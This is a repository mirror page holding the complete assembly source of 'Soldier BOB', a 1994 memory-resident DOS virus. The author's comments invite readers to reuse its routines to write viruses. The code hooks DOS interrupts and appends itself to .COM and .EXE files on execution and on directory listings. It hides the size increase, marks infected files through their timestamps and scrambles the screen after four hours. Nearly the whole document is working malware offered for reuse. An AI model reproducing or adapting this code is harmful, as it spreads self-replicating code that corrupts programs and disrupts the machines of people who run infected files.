mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
4b9382ddbc
push
670 lines
14 KiB
NASM
670 lines
14 KiB
NASM
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
; I made this virus for several month ago, then I forgott it. I recently found
|
|
; it on my harddrive, and I compiled it and tried it. To my amazement it worked!
|
|
;
|
|
; Soldier BOB infects .COM and .EXE files when you execute a file. It also
|
|
; saves up to 20 files into a buffer when you use the dos-command 'DIR'. And
|
|
; later when dos is counting how much diskspace that's free Soldier BOB will
|
|
; infect all files stored into the buffer. Filesize increases are hidden.
|
|
; When Soldier BOB has been resident for four hours it will fuck-up the whole
|
|
; screen. Try this routine, it's fun to see when your screen being totally mad.
|
|
;
|
|
; I don't really know exactly what Soldier BOB does because I haven't time to
|
|
; figure out all details, but since I've brought the source code, you are free
|
|
; to investigate that by yourself.
|
|
;
|
|
; Please feel free to rip routines and ideas from this source-code. My purpose
|
|
; is that everybody (who wants to) can be able to learn how to write a decent
|
|
; virus.
|
|
;
|
|
; If you need any help to write a virus, please do not hesitate to contact
|
|
; me on Internet.
|
|
;
|
|
; - regards, Macaroni Ted / A.N.O.I - 11-27-94
|
|
|
|
;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=);
|
|
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
|
|
; ;
|
|
; S O L D I E R B O B ;
|
|
; ;
|
|
; Copyright (c) Jan-Mar 1994 by Macaroni Ted / A.N.O.I. ;
|
|
; ;
|
|
;(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=)=(=);
|
|
|
|
start:
|
|
call get_bp
|
|
get_bp: pop bp
|
|
|
|
mov ax,0ff4eh ;(?N-)
|
|
int 21h
|
|
cmp ax,4f49h ;(-OI)
|
|
je already_res
|
|
|
|
push ds es
|
|
|
|
mov ah,2ch
|
|
int 21h
|
|
add ch,4
|
|
mov cs:start_time,ch
|
|
|
|
call hook_memory
|
|
|
|
push es
|
|
pop ds
|
|
|
|
call hook_interrupts
|
|
|
|
pop es ds
|
|
already_res:
|
|
cmp word ptr cs:[bp+(exe_header-get_bp)],'ZM'
|
|
je exit_exe
|
|
exit_com:
|
|
lea si,[bp+(exe_header-get_bp)]
|
|
mov di,100h
|
|
cld
|
|
movsb
|
|
movsb
|
|
movsb
|
|
movsb
|
|
movsb
|
|
|
|
xor ax,ax
|
|
mov bx,ax
|
|
mov cx,ax
|
|
mov dx,ax
|
|
mov si,ax
|
|
mov di,ax
|
|
|
|
push cs
|
|
push 100h
|
|
retf
|
|
exit_exe:
|
|
mov ax,es ;to code seg
|
|
add ax,10h
|
|
|
|
add ax,word ptr cs:[bp+(exe_header+16h-get_bp)]
|
|
push ax
|
|
push word ptr cs:[bp+(exe_header+14h-get_bp)]
|
|
retf
|
|
|
|
original_int21h dd ?
|
|
original_int1Bh dd ?
|
|
original_int09h dd ?
|
|
original_int1Ch dd ?
|
|
start_time db ?
|
|
|
|
db 'Soldier BOB - (c)jan-94 by A:N:O:I',10,13
|
|
db 'Programmed by Macaroni Ted'
|
|
|
|
hook_memory:
|
|
push ds
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
mov cx,es
|
|
dec cx
|
|
mov es,cx
|
|
mov bx,word ptr es:[3h]
|
|
mov dx,virlen
|
|
mov cl,4
|
|
shr dx,cl
|
|
add dx,4
|
|
mov cx,es
|
|
sub bx,dx
|
|
inc cx
|
|
mov es,cx
|
|
mov ah,4ah
|
|
int 21h
|
|
|
|
; jc exit_com
|
|
mov ah,48h
|
|
dec dx
|
|
mov bx,dx ;it's done
|
|
int 21h
|
|
|
|
; jc exit_com
|
|
dec ax
|
|
mov es,ax
|
|
mov cx,8h
|
|
mov word ptr es:[1h],cx
|
|
sub ax,0fh
|
|
mov di,100h ;begin of virus
|
|
mov es,ax
|
|
lea si,[bp+(start-get_bp)]
|
|
mov cx,virlen ;<=== virus len
|
|
cld
|
|
repne movsb
|
|
|
|
pop ds
|
|
ret
|
|
|
|
hook_interrupts: ;int 21h
|
|
mov ax,3521h
|
|
int 21h
|
|
mov word ptr [original_int21h],bx
|
|
mov word ptr [original_int21h+2],es
|
|
mov ax,2521h
|
|
lea dx,new_int_21h
|
|
int 21h
|
|
|
|
mov ax,351ch ;int 1Ch
|
|
int 21h
|
|
mov word ptr [original_int1ch],bx
|
|
mov word ptr [original_int1ch+2],es
|
|
mov ax,251ch
|
|
lea dx,new_int_1ch
|
|
int 21h
|
|
ret
|
|
|
|
push_all:
|
|
pop cs:tmp_adr
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push bp
|
|
push ds
|
|
push es
|
|
jmp word ptr cs:tmp_adr
|
|
|
|
tmp_adr dw ?
|
|
db 'Soldier BOB - Made in Sweden'
|
|
pop_all:
|
|
pop cs:tmp_adr
|
|
pop es
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp word ptr cs:tmp_adr
|
|
int21h:
|
|
pushf
|
|
call dword ptr cs:original_int21h
|
|
retn
|
|
scroll: ;input ax
|
|
push bx dx cx ax
|
|
mov dx,3D4h
|
|
push ax
|
|
and al,0Fh
|
|
mov ah,8
|
|
xchg al,ah
|
|
out dx,ax
|
|
|
|
pop ax
|
|
mov cl,4
|
|
shr ax,cl
|
|
mov cx,50h
|
|
mul cx
|
|
mov cl,al
|
|
mov al,0Ch
|
|
mov dx,3D4h
|
|
out dx,ax
|
|
|
|
mov ah,cl
|
|
inc al
|
|
out dx,ax
|
|
|
|
pop ax cx dx bx
|
|
ret
|
|
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
; Int 21h
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
new_int_21h:
|
|
pushf
|
|
|
|
call push_all
|
|
|
|
mov ah,2ch
|
|
call int21h
|
|
mov cs:time_h,ch
|
|
|
|
call pop_all
|
|
|
|
cmp ah,4bh ;execute
|
|
je execute_file
|
|
|
|
cmp ah,11h ;fool dir
|
|
je find__
|
|
cmp ah,12h
|
|
je find__
|
|
|
|
cmp ah,4eh ;dos 2.x
|
|
je find_
|
|
cmp ah,4fh
|
|
je find_
|
|
|
|
cmp ah,36h ;get free space
|
|
je get_free_space
|
|
|
|
cmp ax,0ff4eh ;mem check (?N)
|
|
je mem_check
|
|
|
|
exit_21h:
|
|
popf
|
|
jmp dword ptr cs:original_int21h
|
|
mem_check:
|
|
mov ax,4f49h ;(OI)
|
|
popf
|
|
iret
|
|
find_:
|
|
jmp find_new
|
|
find__:
|
|
jmp find_old
|
|
|
|
file_date dw ?
|
|
file_time dw ?
|
|
file_size1 dw ?
|
|
file_size2 dw ?
|
|
attribute dw ?
|
|
|
|
mask_com db '*.com',0
|
|
mask_exe db '*.exe',0
|
|
infected_files dw 0
|
|
|
|
|
|
execute_file:
|
|
call infect ;infect ds:dx
|
|
jmp exit_21h
|
|
get_free_space:
|
|
call push_all
|
|
push cs cs
|
|
pop ds es
|
|
|
|
lea si,file_buffer
|
|
restore_buffer:
|
|
lodsb
|
|
cmp al,0ffh ;end of buffer
|
|
je done_infecting
|
|
dec si
|
|
|
|
push si ;infect it
|
|
mov dx,si
|
|
call infect
|
|
pop si
|
|
get_eo_name:
|
|
lodsb
|
|
cmp al,0ffh
|
|
je done_infecting
|
|
or al,al
|
|
jnc get_eo_name
|
|
jmp restore_buffer
|
|
|
|
done_infecting:
|
|
mov byte ptr cs:[file_buffer],0ffh ;clear buffer
|
|
call pop_all
|
|
jmp exit_21h
|
|
|
|
find_old:
|
|
popf
|
|
|
|
call int21h
|
|
cmp al,0ffh
|
|
jne push_it
|
|
jmp no_more_files
|
|
push_it:
|
|
call push_all
|
|
|
|
mov ah,2fh ;get dta
|
|
int 21h
|
|
|
|
push es ;es:bx
|
|
pop ds ;ds:bx
|
|
mov si,bx ;ds:si
|
|
|
|
add si,16 ;ext name
|
|
lodsw
|
|
mov dx,ax
|
|
lodsb
|
|
cmp dx,'OC' ;ext=COM?
|
|
jne check_exe
|
|
cmp al,'M'
|
|
jne check_exe
|
|
jmp ext_ok
|
|
check_exe:
|
|
cmp dx,'XE' ;ext=EXE?
|
|
jne cancel_ff
|
|
cmp al,'E'
|
|
jne cancel_ff
|
|
ext_ok:
|
|
; mov si,bx
|
|
; add si,38
|
|
; lodsw
|
|
; cmp ax,0
|
|
; jne cancel_ff
|
|
|
|
mov si,bx ;check if already infected
|
|
add si,30
|
|
lodsw ;time
|
|
and al,00011111b
|
|
cmp al,14
|
|
je infected ;already infected (sec=28)
|
|
|
|
push cs
|
|
pop es
|
|
|
|
lea di,file_buffer
|
|
mov cx,260
|
|
get_end_of_buffer:
|
|
mov al,byte ptr es:[di]
|
|
cmp al,0ffh ;end of buffer?
|
|
je end_of_buffer
|
|
inc di
|
|
loop get_end_of_buffer
|
|
end_of_buffer:
|
|
cmp cx,14
|
|
jb cancel_ff
|
|
|
|
mov si,bx
|
|
add si,8 ;filename
|
|
|
|
mov cx,8
|
|
copy_filename:
|
|
lodsb
|
|
cmp al,20h
|
|
je copy_filename_klar
|
|
stosb
|
|
loop copy_filename
|
|
copy_filename_klar:
|
|
mov al,'.'
|
|
stosb
|
|
mov si,bx ;copy ext
|
|
add si,16
|
|
movsb
|
|
movsb
|
|
movsb
|
|
mov al,0
|
|
stosb
|
|
mov al,0ffh
|
|
stosb
|
|
|
|
jmp cancel_ff
|
|
infected:
|
|
mov si,bx ;alter size
|
|
add si,36
|
|
mov di,si
|
|
lodsw
|
|
sub ax,virlen
|
|
jz cancel_ff
|
|
stosw
|
|
cancel_ff:
|
|
call pop_all
|
|
no_more_files: retf 2 ;iret flags
|
|
|
|
find_new:
|
|
popf
|
|
|
|
call int21h
|
|
jnc more_files
|
|
retf 2
|
|
more_files:
|
|
pushf
|
|
call push_all
|
|
|
|
mov ah,2fh ;get dta
|
|
int 21h
|
|
|
|
push es ;es:bx
|
|
pop ds ;ds:bx
|
|
mov si,bx ;ds:si
|
|
|
|
add si,1eh ;filename
|
|
get_ext:
|
|
lodsb
|
|
or al,al
|
|
jnz get_ext
|
|
sub si,4
|
|
lodsw
|
|
cmp ax,'XE'
|
|
je check_E
|
|
cmp ax,'OC'
|
|
je check_M
|
|
cmp ax,'xe'
|
|
je check_e
|
|
cmp ax,'oc'
|
|
je check_m
|
|
jmp cancel_new
|
|
check_E:
|
|
lodsb
|
|
cmp al,'E'
|
|
je ext_is_ok
|
|
cmp al,'e'
|
|
je ext_is_ok
|
|
jmp cancel_new
|
|
check_M:
|
|
lodsb
|
|
cmp al,'M'
|
|
je ext_is_ok
|
|
cmp al,'m'
|
|
je ext_is_ok
|
|
jmp cancel_ff
|
|
ext_is_ok:
|
|
mov si,bx
|
|
add si,16h
|
|
lodsw ;time
|
|
and al,00011111b
|
|
cmp al,14
|
|
je infected2 ;already infected (sec=28)
|
|
|
|
mov dx,bx
|
|
add dx,1eh
|
|
call infect
|
|
|
|
jmp cancel_new
|
|
infected2:
|
|
mov si,bx
|
|
add si,1ah
|
|
mov di,si
|
|
lodsw ;alter size
|
|
sub ax,virlen
|
|
jz cancel_new
|
|
stosw
|
|
cancel_new:
|
|
call pop_all
|
|
popf
|
|
retf 2
|
|
|
|
infect:
|
|
call push_all
|
|
mov si,dx
|
|
|
|
mov ax,4300h ;get attrib
|
|
int 21h
|
|
mov cs:attribute,cx ;save it
|
|
xor cx,cx
|
|
mov ax,4301h ;force all attribs
|
|
int 21h
|
|
|
|
; mov ax,6C00h ;open file
|
|
; mov bx,0010000011000010b ;read/write disable int 24h
|
|
; mov dx,0000000000010001b ;error if not found, != open
|
|
; int 21h
|
|
mov ax,3d02h
|
|
mov dx,si
|
|
int 21h
|
|
mov bx,ax
|
|
|
|
push cs cs
|
|
pop ds es
|
|
|
|
mov ah,57h ;get file date/time
|
|
mov al,0
|
|
int 21h
|
|
mov file_date,dx
|
|
mov file_time,cx
|
|
|
|
mov ah,3fh ;read (exe) header
|
|
mov cx,1ch
|
|
lea dx,exe_header
|
|
int 21h
|
|
|
|
cmp word ptr [exe_header+12h],'IA' ;already infected(exe)
|
|
jne check_com
|
|
jmp close_file
|
|
check_com:
|
|
cmp word ptr [exe_header],'IA' ;already infected(com)
|
|
jne goto_end
|
|
jmp close_file
|
|
goto_end:
|
|
mov ax,4202h ;goto end of file
|
|
mov cx,0
|
|
mov dx,0
|
|
int 21h
|
|
mov file_size1,ax
|
|
mov file_size2,dx
|
|
|
|
mov ah,40h
|
|
lea dx,start
|
|
mov cx,virlen
|
|
int 21h
|
|
|
|
mov ax,4200h
|
|
mov cx,0
|
|
mov dx,0
|
|
int 21h
|
|
|
|
cmp word ptr [exe_header],'ZM'
|
|
jne infect_com
|
|
jmp infect_exe
|
|
infect_com:
|
|
cmp file_size2,0
|
|
jne close_file
|
|
mov ax,file_size1
|
|
sub ax,5
|
|
mov jmp_2,ax
|
|
|
|
mov ah,40h
|
|
mov cx,5
|
|
lea dx,jmp_1
|
|
int 21h
|
|
|
|
jmp close_file
|
|
infect_exe:
|
|
mov ax,4202h
|
|
mov dx,0
|
|
mov cx,0
|
|
int 21h
|
|
|
|
mov cx,200h ;512
|
|
div cx
|
|
inc ax
|
|
mov word ptr [exe_header+2],dx
|
|
mov word ptr [exe_header+4],ax
|
|
|
|
mov ax,file_size1 ;old file size
|
|
mov dx,file_size2
|
|
|
|
mov cx,10h
|
|
div cx
|
|
sub ax,word ptr [exe_header+8h]
|
|
mov word ptr ds:[exe_header+16h],ax
|
|
mov word ptr ds:[exe_header+14h],dx
|
|
|
|
mov word ptr [exe_header+12h],'IA'
|
|
|
|
mov ax,4200h
|
|
mov dx,0
|
|
mov cx,0
|
|
int 21h
|
|
|
|
mov ah,40h ;write exe header
|
|
mov cx,1Ch
|
|
lea dx,exe_header
|
|
int 21h
|
|
close_file:
|
|
mov dx,file_date
|
|
mov cx,file_time
|
|
and cl,11100000b
|
|
or cl,00001110b ;secs = 28
|
|
|
|
mov ax,5701h ;set time/date
|
|
int 21h
|
|
|
|
mov ah,3eh ;close file
|
|
int 21h
|
|
|
|
call pop_all
|
|
call push_all ;restore filename
|
|
|
|
mov ax,4301h ;set attrib original attrib
|
|
mov cx,cs:attribute
|
|
int 21h
|
|
|
|
call pop_all
|
|
ret
|
|
|
|
exe_header db 41h,49h,90h,0cdh,20h ;5 first bytes
|
|
db 1Ch-5 dup(0) ;28
|
|
|
|
jmp_1 db 41h,49h ;inc cx, dec cx
|
|
db 0e9h ;jmp
|
|
jmp_2 dw ? ;xxxx
|
|
|
|
|
|
file_buffer db 0ffh,259 dup(0) ;20 filename 12345678.123,0
|
|
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
; Int 1Bh
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
new_int_1Bh:
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
; Int 09h
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
new_int_09h:
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
; Int 1Ch
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
new_int_1Ch:
|
|
call push_all
|
|
|
|
mov al,cs:start_time
|
|
cmp al,cs:time_h
|
|
jne exit_1ch
|
|
jmp rave_it
|
|
exit_1Ch:
|
|
call pop_all
|
|
jmp dword ptr cs:original_int1Ch
|
|
|
|
time_h db 0
|
|
|
|
scroll_pos dw 32 ;bx
|
|
do_inc dw 0 ;dx
|
|
|
|
rave_it:
|
|
inc cs:do_inc
|
|
cmp cs:do_inc,3
|
|
jne dont_high
|
|
mov cs:do_inc,0
|
|
inc cs:scroll_pos
|
|
dont_high:
|
|
mov cx,cs:scroll_pos
|
|
mov ax,0
|
|
scroll_1:
|
|
call scroll
|
|
inc ax
|
|
loop scroll_1
|
|
|
|
mov cx,cs:scroll_pos
|
|
add cx,cx
|
|
scroll_2:
|
|
call scroll
|
|
dec ax
|
|
loop scroll_2
|
|
jmp rave_it
|
|
|
|
|
|
virlen equ offset eof - offset start
|
|
eof:
|
|
end start
|
|
|